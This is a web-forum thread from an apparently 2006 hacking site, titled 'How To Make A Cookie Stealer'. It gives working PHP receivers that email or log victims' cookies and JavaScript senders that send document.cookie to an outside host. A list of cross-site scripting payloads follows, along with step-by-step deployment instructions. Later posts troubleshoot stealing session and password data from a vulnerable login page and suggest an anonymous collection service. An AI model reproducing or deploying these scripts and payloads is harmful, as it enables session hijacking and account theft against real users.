Critical Security.NET: How To Make A Cookie Stealer - Critical Security.NET

Jump to content

  • (12 Pages)
  • +
  • 1
  • 2
  • 3
  • Last »
  • You cannot start a new topic
  • This topic is locked

How To Make A Cookie Stealer

#1 User is offline   Freakwolfe Icon

  • Big Bad Wolfe
  • PipPipPipPipPipPipPip
  • Group: Members
  • Posts: 1,476
  • Joined: 06-October 05
  • Gender:Male
  • Location:Austria

Posted 14 February 2006 - 01:34 AM

I've explained this process several times to several different people, so I thought I'd just make one thread for it. If you have any questions or additional information, post it here.

Introduction

Exactly how does a cookie stealer work, anyway? There are two components in a cookie stealer: the sender and the receiver.

The sender can take many forms. In essense, it's just a link to the receiver with the cookie somehow attached. It can sometimes be difficult to find a way to implement the sender.

The receiver, as the name suggests, is a device which receives the cookie from the sender. It can also take several forms, but the most common is that of a PHP document, most commonly found residing on some obscure webserver.


Step One: The Code

Coding a receiver is the part with which most newbies struggle. Only two things are needed to make a receiver: a webhost which supports PHP, and Notepad (see the end of the text for a link to some free PHP hosts).

As I said in the introduction, the receiver's job is to receive the cookie from the sender. The easiest way to send information to a PHP document is by using the HTTP GET method, which appends information to the end of the URL as a parameter (for example, "page.php?arg1=value"). PHP can access GET information by accessing $HTTP_GET_VARS[x], where x is a string containing the name of the argument.

Once the receiver has the cookie, it needs a way to get that cookie to you. The two most common ways of doing this are sending it in an email, and storing it in a log. We'll look at both.


First, let's look at sending it in an email. Here is what such a beast would look like (functioning code):

<?php																 // line 1
$cookie = $HTTP_GET_VARS["cookie"];								   // line 2
mail("me@mydomain.com", "Cookie stealer report", $cookie);			// line 3
?>																	// line 4
Line 1 tells the server that this is indeed a PHP document.
Line 2 takes the cookie from the URL ("stealer.php?cookie=x") and stores it in the variable $cookie.
Line 3 accesses PHP's mail() function and sends the cookie to "me@mydomain.com" with the subject of "Cookie stealer report".
Line 4 tells the server that the PHP code ends here.


Next, we'll look at my preferred method, which is storing the cookie in a logfile. (functioning code)

<?php																 // line 1
$cookie = $HTTP_GET_VARS["cookie"];								   // line 2
$file = fopen('cookielog.txt', 'a');								  // line 3
fwrite($file, $cookie . "\n\n");									  // line 4
?>																	// line 5
Lines 1 and 2 are the same as before.
Line 3 opens the file "cookielog.txt" for writing, then stores the file's handle in $file.
Line 4 writes the cookie to the file which has its handle in $file. The period between $cookie and "\n\n" combines the two strings as one. The "\n\n" acts as a double line-break, making it easier for us to sift through the log file.
Line 5 is the same as before.


Step Two: Implementing the Stealer

The hardest part (usually) of making a cookie stealer is finding a way to use the sender. The simplest method requires use of HTML and Javascript, so you have to be sure that your environment supports those two. Here is an example of a sender.

<script language="Javascript">														 // Line 1
document.location="http://www.host.com/mysite/stealer.php?cookie=" + document.cookie;                                // Line 2
</script>																		       // Line 3
Line 1 tells the browser that the following chunk of code is to be interpereted as Javascript.
Line 2 adds document.cookie to the end of the URL, which is then stored in document.location. Whenever document.location is changed, the browser is redirected to that URL.
Line 3 tells the browser to stop reading the code as Javascript (return to HTML).


There are two main ways of implementing the sender:

You can plant your sender where the victim will view it as an HTML document with his browser. In order to do that, you have to find some way to actually post the code somewhere on the site.

You can trick the victim into clicking a link which activates the sender. For example:
<a href="java script:document.location='http://www.host.com/mysite/stealer.php?cookie='+document.cookie;">Click here!</a>
(remove the space in "javascript")

Another method I discovered is putting...
<script>document.location="http://www.host.com/mysite/stealer.php?cookie=" + document.cookie;</script>
...into my user-agent.



Free PHP hosts:
http://www.0php.com/..._webhosting.php
http://www.free-webh...-webhosting.php


Do not ask what a cookie stealer is or how to use one; such questions have already been answered in this thread. Please read the entire thread before asking a question. If you have thoroughly read the thread and are still having difficulty, post your questions intelligently. Otherwise, I will close the thread again.

#2 User is offline   Lockdown Icon

  • Posting Prodigy
  • PipPipPipPipPipPip
  • Group: Members
  • Posts: 926
  • Joined: 18-December 05
  • Gender:Male
  • Location:_108_

Posted 14 February 2006 - 02:03 AM

Perhaps you should include an explanation of what can be done once you have the victims cookies... Realistic 9 (Crappy soft right) really didn't go into enough detail about that.

It's a good tutorial, but it's assuming the reader knows what the hell to do with cookies once he/she has them

#3 User is offline   Freakwolfe Icon

  • Big Bad Wolfe
  • PipPipPipPipPipPipPip
  • Group: Members
  • Posts: 1,476
  • Joined: 06-October 05
  • Gender:Male
  • Location:Austria

Posted 14 February 2006 - 02:33 AM

If they don't know what to do with cookies, then why would they be interested in making a cookie stealer?

I might add a bit about cookie injection later. Until then, if someone else wants to post about it, go ahead.

#4 User is offline   charlie(cph) Icon

  • Critical Member
  • PipPipPipPip
  • Group: Members
  • Posts: 151
  • Joined: 06-October 05

Posted 15 February 2006 - 07:15 PM

if you log user agents escape " so it appears as /"

#5 User is offline   Arkan Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 24
  • Joined: 05-October 05

Posted 16 February 2006 - 01:52 AM

Attach it in a Flash Sig or Image...something like that?

#6 User is offline   digi7al64 Icon

  • Pirate
  • Icon
  • Group: Administrators
  • Posts: 1,270
  • Joined: 06-October 05
  • Gender:Male

Posted 17 February 2006 - 03:31 AM

Nice article Freakwolfe.

Over time i will add other code snippets into the post on all the different types of scripts/syntax you can use for cookie stealing.

General HTML allowed posting
<script>document.location="http://www.site.com/?" + document.cookie;</script>
---
<a href="http://www.xss.com" onmouseover="java script:document.images[1].src='http://www.site.com?'+document.cookie;">xss</a>
---
<img src="java script:document.images[1].src='http://www.site.com?'+document.cookie;">
---
<style>body {background:url(java script:document.images[1].src="http://www.site.com?"+document.cookie)}</style>
---
<meta http-equiv="refresh" content="666;url=java script:alert('xss');">
---
<frame src=http://www.site.com/?<script>win.open(“http://www.site.com/?”+document.cookie</script>> 
---
<xml src="java script:document.location='http://www.site.com?'+document.cookie">
---
<div onmouseover="java script:document.location='http://www.site.com?'+document.cookie">
---
<link rel="stylesheet" href="java script:document.location='http://www.site.com?'+document.cookie">
---
<style type="text/javascript">document.location='http://www.site.com?'+document.cookie</style>


Targeting Admins
useragent = <script>alert('xss')</script>
---
referrer = <script>alert('xss')</script>
---
cookie sessionid=<script>alert('xss')</script>
---
http://www.xss.com?post=<script>alert(xss')</script>


Also regarding querystrings etc ie "cookie.php?cookie=value" just use "cookie.php?value" instead and the '$QUERY_STRING' value to retrieve it.

Finally when logging user data get all the info you can, ip, agents and os. remember it doesn't matter how secure the forum is if you can compromise the users system.

#7 User is offline   Freakwolfe Icon

  • Big Bad Wolfe
  • PipPipPipPipPipPipPip
  • Group: Members
  • Posts: 1,476
  • Joined: 06-October 05
  • Gender:Male
  • Location:Austria

Posted 17 February 2006 - 03:49 AM

Thanks for the additional info, digi7al64. Those are some handy tips.

Typically, cheap forums log user/password information. Most of the time, the passwords are hashed. If you are lucky enough to get the user ID and password (hashed or not) the next step is rather obvious.

If you get some kind of weird pseudo-session data, you can try injecting that into your own cookie to log on as that user.

#8 User is offline   spindoctor Icon

  • Critical Member
  • PipPipPipPip
  • Group: Members
  • Posts: 125
  • Joined: 13-December 05

Posted 19 April 2006 - 10:06 PM

Ok :) finally managed to get the cookie stealer up and running, I am now recieving emails, as i tested the stealer out on my forum. I recieve all the session ID's and hashed password in the email. Say if i wanted to use this to my advantage. How would i go about using this information? Now im this far.

#9 User is offline   Freakwolfe Icon

  • Big Bad Wolfe
  • PipPipPipPipPipPipPip
  • Group: Members
  • Posts: 1,476
  • Joined: 06-October 05
  • Gender:Male
  • Location:Austria

Posted 20 April 2006 - 03:01 AM

To change your current cookie, paste this into the URL bar (remove the space between "java" and "script":
java script:void(document.cookie=prompt("Your cookie is currently:\n"+document.cookie,document.cookie));



Beyond that, you're on your own.

#10 User is offline   spindoctor Icon

  • Critical Member
  • PipPipPipPip
  • Group: Members
  • Posts: 125
  • Joined: 13-December 05

Posted 20 April 2006 - 09:33 AM

Thanks, I've also been working with the cookie editor that comes as an add on with firefox. That seems to be working easily for me.


Oh and i think you should add something to the cookie script that you posted that writes to a log file

Quote

<?php
$cookie = $HTTP_GET_VARS["cookie"];
$file = fopen('cookielog.txt', 'a');
fwrite($file, $cookie . "\n\n");
?>



to..

<?php															 
$cookie = $HTTP_GET_VARS["cookie"];								   
$file = fopen('cookielog.txt', 'a');								 
fwrite($file, $cookie . "\n\n");   
fclose($file);								   
?>



It probably makes no difference.. but shouldent you close the $file ?

This post has been edited by spindoctor: 21 April 2006 - 09:05 PM


#11 Guest_pshell_*

  • Group: Guests

Posted 24 April 2006 - 04:10 AM

I'm getting confused. :weirdsmiley:

(just to make things clear I have a host that supports php. and I am familiar with php)



Now. There is a Reiciver and a sender? right. Well whats this other stuff stealer.php and cookie.php

Ah, alas I'm confused.

Can someone just a give a straight intruction on what php files to create. please.


^_^

This post has been edited by pshell: 24 April 2006 - 04:14 AM


#12 User is offline   digi7al64 Icon

  • Pirate
  • Icon
  • Group: Administrators
  • Posts: 1,270
  • Joined: 06-October 05
  • Gender:Male

Posted 24 April 2006 - 04:18 AM

ok this is real simple

1. Copy and paste this script into textpad/notepad
2. Save as cookie.php.
3. Upload to your server.
4. Create a empty txt file called log.txt
5. Upload to your server in the same directory as cookie.php ensuring it has write permissions.
6. inject you cookie stealer script into whatever. an example would be
<script>document.location='http://www.yoururl.com/cookie.php?'+document.cookie;</script>

7. wait for the cookie data to come rolling in.

NOTICE: I have not used any querystring key/value to get the cookie, i simply make the cookie data the querystring

This post has been edited by digi7al64: 21 March 2007 - 07:36 AM


#13 Guest_pshell_*

  • Group: Guests

Posted 24 April 2006 - 05:10 PM

I'm testing it out on myself and it's not writting down any cookie info.

It's just putting a Ip address a referal and a timestamp.
The cookie info it's just puting one or two of thies small box things from a wierd font.

This is the code I'm using.

indexx.htm (The sender)
<script language="Javascript"> 
document.location="http://somesite.com/cookie.php?cookie=" + document.cookie; </script> // Line 3

then the sender sends them to:

Cookie.php (the reciever)
<?php																 
$cookie = $HTTP_GET_VARS["cookie"];
$ip = getenv ('REMOTE_ADDR');
$file = fopen('cookielog.txt', 'a');								  
fwrite($file, $cookie . "\n\n"); 
header ("Location: /index.php");  //<-------After it redirects to another page.
?>

This post has been edited by pshell: 24 April 2006 - 05:20 PM


#14 User is offline   Freakwolfe Icon

  • Big Bad Wolfe
  • PipPipPipPipPipPipPip
  • Group: Members
  • Posts: 1,476
  • Joined: 06-October 05
  • Gender:Male
  • Location:Austria

Posted 24 April 2006 - 06:37 PM

There isn't going to be a cookie if you don't have one to begin with. Set your cookie in the HTML file before the stealer is activated.

#15 Guest_Fonzarelli_*

  • Group: Guests

Posted 03 May 2006 - 07:30 PM

NOOB HERE! 8)

Just few quick questions...

OK, so I've tried to follow digi7al64's guide...

I've created the cookie.php as he said and uploaded it in my Awardspace root folder.

I've also created log.txt

Then I've tried this;

to put the actionscript in my flash movie so it can do it's work when viewed.

getUrl("java script:document.location='http://myweb.awardspace.us/cookie.php?'+document.cookie;");


getUrl("java script:document.location='http://myweb.awardspace.us/cookie.php?'cookie=+document.cookie;");


I've tried both of those lines but my log.txt remains like this;

IP: 123.456.789.999 | PORT: 0000 | HOST:  |  Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; TCom_MAX201b) | METHOD:  | REF:  | DATE: Wednesday 03rd of May 2006 06:01:06 PM | COOKIE:


So, any help's welcome!

:whistle:

#16

  • Group: Guests

Posted 05 May 2006 - 11:15 AM

I posted this in the wrong place yesterday whoops then seen this thread ..

Im working on a cross site script on a vunerable login.jsp page
im using
http://www.victimpag...ge=...</script>

Im catching it with this code

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time:
' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: /real1.html");
?>

http://www.myserver....=20060504143001


but once the script gets to saving the # symbol it stops and all i get
in the text file is

Cookie: Email=myemail@gmail.com; Username=correctusername;
A=2; G=0; Password=<br> IP: correct ip here<br> Date and Time: 4 May,
2006, 4:30 pm<br> Referer: <br><br><br>

Is there anyway i could just tell the script to convert everything to
a string and save it or maybe since i know whats being passed could i
just set it up to expect the password field to be characters?

I can do a alert(document.cookie) in the script and it shows password
as having two # symbols as in ##68416765539080509

any ideas?

other code ive tried with it is

<?php
$cookie = $HTTP_GET_VARS["c"];
$ip = getenv ('REMOTE_ADDR');
$file = fopen('cookielog.txt', 'a');
fwrite($file, $cookie . "\n\n");
header ("Location: /index.php"); //<-------After it redirects to another page.
?>

<?php
$f = fopen(“log.txt”, “a”);
fwrite($f, “IP: {$_SERVER[‘REMOTE_ADDR’]} Ref: {$_SERVER
[‘HTTP_REFERER’]} Cookie: {$HTTP_GET_VARS[‘c’]}\n”);
fclose($f);
?>

But yet again the same problem it doesnt store anything after the #

#17 User is offline   digi7al64 Icon

  • Pirate
  • Icon
  • Group: Administrators
  • Posts: 1,270
  • Joined: 06-October 05
  • Gender:Male

Posted 08 May 2006 - 12:51 AM

Use this to get the cookie data instead.
$cookie = $_SERVER['QUERY_STRING'];

In your request you are only asking for "c" value whereas this will take the entire querystring.

As for why yours doesn't work ? and & = querystring # = a named anchor on the page so it will by default stop the value there anyway.

#18

  • Group: Guests

Posted 08 May 2006 - 10:38 AM

already tried $_SERVER['QUERY_STRING']; and the same problem :( someone on another forum sugested a $_post to get the data but im not the best at php and am still reading up on what the post one does

#19 User is offline   Sid Icon

  • Captain
  • Icon
  • Group: Administrators
  • Posts: 3,244
  • Joined: 05-October 05
  • Gender:Male
  • Location:London, UK
  • Interests:Things besides computers exist?

Posted 19 May 2006 - 01:18 AM

I've cleared this thread of some pointless posts. I want to add something though. One problem with stealing cookies is that you have to give away your domain name (to send the cookies to that place). Well, not any more. Have a look at http://ccl.whiteacid.org/ and you'll see you can create an account there and have them sent there which keeps you anonymous.

#20 Guest_A Spectator_*

  • Group: Guests

Posted 25 May 2006 - 05:24 AM

cool im trying this =D

This post has been edited by A Spectator: 31 May 2006 - 12:12 AM


  • (12 Pages)
  • +
  • 1
  • 2
  • 3
  • Last »
  • You cannot start a new topic
  • This topic is locked

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users